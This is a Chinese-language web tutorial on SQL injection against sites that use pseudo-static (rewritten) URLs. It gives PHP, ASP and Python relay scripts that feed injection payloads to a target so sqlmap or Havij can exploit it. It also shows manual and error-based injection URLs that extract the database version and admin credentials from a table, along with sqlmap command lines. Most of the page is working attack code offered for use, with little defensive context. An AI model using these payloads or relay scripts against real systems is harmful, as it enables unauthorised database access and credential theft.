PHP针对伪静态的注入总结【附asp与Python相关代码】

发布时间 - 2026-01-11 02:35:11    点击率:

本文实例讲述了PHP针对伪静态的注入。分享给大家供大家参考,具体如下:

一:中转注入法

1.通过http://www.xxx.com/news.php?id=1做了伪静态之后就成这样了
http://www.xxx.com/news.php/id/1.html

2.测试步骤:

中转注入的php代码:inject.php

<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(” “,”%20″,$id);
$id=str_replace(“=”,”%3D”,$id);
//$url = "http://www.xxx.com/news.php/id/$id.html";
$url = "http://www.xxx.com/news.php/id/$id.html";
//echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

3.本地环境搭建PHP,然后访问http://127.0.0.1/inject.php?id=1

通过sqlmap或者havj可以跑注入漏洞。

附录ASP中转代码:

<%
JmdcwName=request("id")
JmStr=JmdcwName
JmStr=URLEncoding(JmStr)
JMUrl="http://192.168.235.7:8808/ad/blog/"&nbsp;&nbsp;//实际上要请求的网址
JMUrl=JMUrl & JmStr&".html"&nbsp; &nbsp; //拼接url
response.write JMUrl&JmStr&nbsp; &nbsp; //我这里故意输出url来看
'JmRef="http://127.0.0.1/6kbbs/bank.asp"
JmCok=""
JmCok=replace(JmCok,chr(32),"%20") 
JmStr=URLEncoding(JmStr)&nbsp;&nbsp;
response.write&nbsp;&nbsp;PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段
Function PostData(PostUrl,PostStr,PostCok,PostRef)&nbsp;&nbsp;
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)&nbsp; &nbsp;//处理返回的信息
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)&nbsp; &nbsp; //发包前对参数的url编码一下
strReturn=""
Dim i
'vstrin=replace(vstrin,"%","%25") '增加转换搜索字符,
'vstrin=Replace(vstrin,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
'vstrin=Replace(vstrin,chr(43),"%2B")&nbsp;&nbsp;'JMDCW增加转换+字符
vstrin=Replace(vstrin,chr(32),"/**/")&nbsp;&nbsp;'在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function
%>

二、手工注入法

1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html

2.测试注入:

http://www.xxx.com/down/html/?772′.html
http://www.xxx.com /play/Diablo'.html
http://www.xxx.com/play/Diablo'/**/and
/**/1='1 /*.html
http://www.xxx.com/play/Diablo'
/**/and
/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常
http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出错

3.看页面是否存在差异,相同则不存在,不同存在注入。

4.联合查询:

http://www.xxx.com/play/diablo' and 1=2 union select 1,2… frominformation_schema.columns where 1='1.html
http://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html

手工注入法(二)

http://www.xxx.net/news/html/?410.html
http://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html

注:

伪静态的注入和URL的普通GET注入不太相同

。普通url的get注入的%20,%23,+等都可以用;但是伪静态不行,会被直接传递到到url中,所以用/**/这个注释符号表示空格。

三、SQLmap方法

在sqlmap中伪静态哪儿存在注入点就加*
http://www.cunlide.com/id1/1/id2/2
python   sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″
http://www.xxx.com/news/class/?103.htm
python  sqlmap.py -u  “http://www.xxx.com/news/class/?103*.html”

四、python脚本方法

代码:

from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
 def do_GET(self):
  path=self.path
  path=path[path.find('id=')+3:]
  proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})
  opener = urllib2.build_opener(proxy_support)
  urllib2.install_opener(opener)
  url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/"
  try:
   response=urllib2.urlopen(url+path)
   html=response.read()
  except urllib2.URLError,e:
   html=e.read()
  self.wfile.write(html)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()

更多关于PHP相关内容感兴趣的读者可查看本站专题:《php程序设计安全教程》、《php安全过滤技巧总结》、《PHP运算与运算符用法总结》、《PHP网络编程技巧总结》、《PHP基本语法入门教程》、《php面向对象程序设计入门教程》、《php字符串(string)用法总结》、《php+mysql数据库操作入门教程》及《php常见数据库操作技巧汇总》

希望本文所述对大家PHP程序设计有所帮助。


# PHP  # 伪静态  # 注入  # 使用Python防止SQL注入攻击的实现示例  # Python sql注入 过滤字符串的非法字符实例  # python+Django实现防止SQL注入的办法  # Python实现SQL注入检测插件实例代码  # SQL注入渗透测试以及护网面试题和解答总结  # python 布尔注入原理及渗透过程示例  # 程序设计  # 相关内容  # 在此  # 不太  # 可以用  # 说到  # 感兴趣  # 给大家  # 不存在  # 更多关于  # 所述  # 面向对象  # 是否存在  # 上要  # 运算符  # 操作技巧  # 编程技巧  # 讲述了  # 来代替  # response 


相关栏目: 【 网站优化151355 】 【 网络推广146373 】 【 网络技术251813 】 【 AI营销90571


相关推荐: 如何在IIS中新建站点并解决端口绑定冲突?  米侠浏览器网页图片不显示怎么办 米侠图片加载修复  如何在企业微信快速生成手机电脑官网?  如何快速使用云服务器搭建个人网站?  简单实现Android验证码  JavaScript如何实现错误处理_try...catch如何捕获异常?  Laravel如何使用Seeder填充数据_Laravel模型工厂Factory批量生成测试数据【方法】  Laravel如何处理CORS跨域问题_Laravel项目CORS配置与解决方案  如何在Windows服务器上快速搭建网站?  湖南网站制作公司,湖南上善若水科技有限公司做什么的?  Laravel中DTO是什么概念_在Laravel项目中使用数据传输对象(DTO)  Laravel与Inertia.js怎么结合_使用Laravel和Inertia构建现代单页应用  如何在云主机快速搭建网站站点?  Win11怎么关闭专注助手 Win11关闭免打扰模式设置【操作】  详解vue.js组件化开发实践  北京网站制作的公司有哪些,北京白云观官方网站?  济南网站建设制作公司,室内设计网站一般都有哪些功能?  Laravel如何实现API资源集合?(Resource Collection教程)  Android自定义listview布局实现上拉加载下拉刷新功能  laravel怎么实现图片的压缩和裁剪_laravel图片压缩与裁剪方法  Javascript中的事件循环是如何工作的_如何利用Javascript事件循环优化异步代码?  网站视频制作书签怎么做,ie浏览器怎么将网站固定在书签工具栏?  Laravel集合Collection怎么用_Laravel集合常用函数详解  Laravel怎么为数据库表字段添加索引以优化查询  Laravel如何配置.env文件管理环境变量_Laravel环境变量使用与安全管理  如何快速生成专业多端适配建站电话?  如何续费美橙建站之星域名及服务?  html如何与html链接_实现多个HTML页面互相链接【互相】  Laravel如何升级到最新版本?(升级指南和步骤)  香港服务器如何优化才能显著提升网站加载速度?  Laravel如何实现用户密码重置功能?(完整流程代码)  Android GridView 滑动条设置一直显示状态(推荐)  Laravel如何配置Horizon来管理队列?(安装和使用)  如何快速搭建高效WAP手机网站吸引移动用户?  Laravel怎么生成二维码图片_Laravel集成Simple-QrCode扩展包与参数设置【实战】  如何快速搭建虚拟主机网站?新手必看指南  iOS中将个别页面强制横屏其他页面竖屏  如何在阿里云域名上完成建站全流程?  node.js报错:Cannot find module &#39;ejs&#39;的解决办法  Laravel如何使用Contracts(契约)进行编程_Laravel契约接口与依赖反转  Laravel怎么实现API接口鉴权_Laravel Sanctum令牌生成与请求验证【教程】  专业型网站制作公司有哪些,我设计专业的,谁给推荐几个设计师兼职类的网站?  如何在建站之星网店版论坛获取技术支持?  香港服务器建站指南:外贸独立站搭建与跨境电商配置流程  Laravel怎么使用artisan命令缓存配置和视图  北京网页设计制作网站有哪些,继续教育自动播放怎么设置?  Laravel的Blade指令怎么自定义_创建你自己的Laravel Blade Directives  悟空识字怎么关闭自动续费_悟空识字取消会员自动扣费步骤  手机怎么制作网站教程步骤,手机怎么做自己的网页链接?  浅析上传头像示例及其注意事项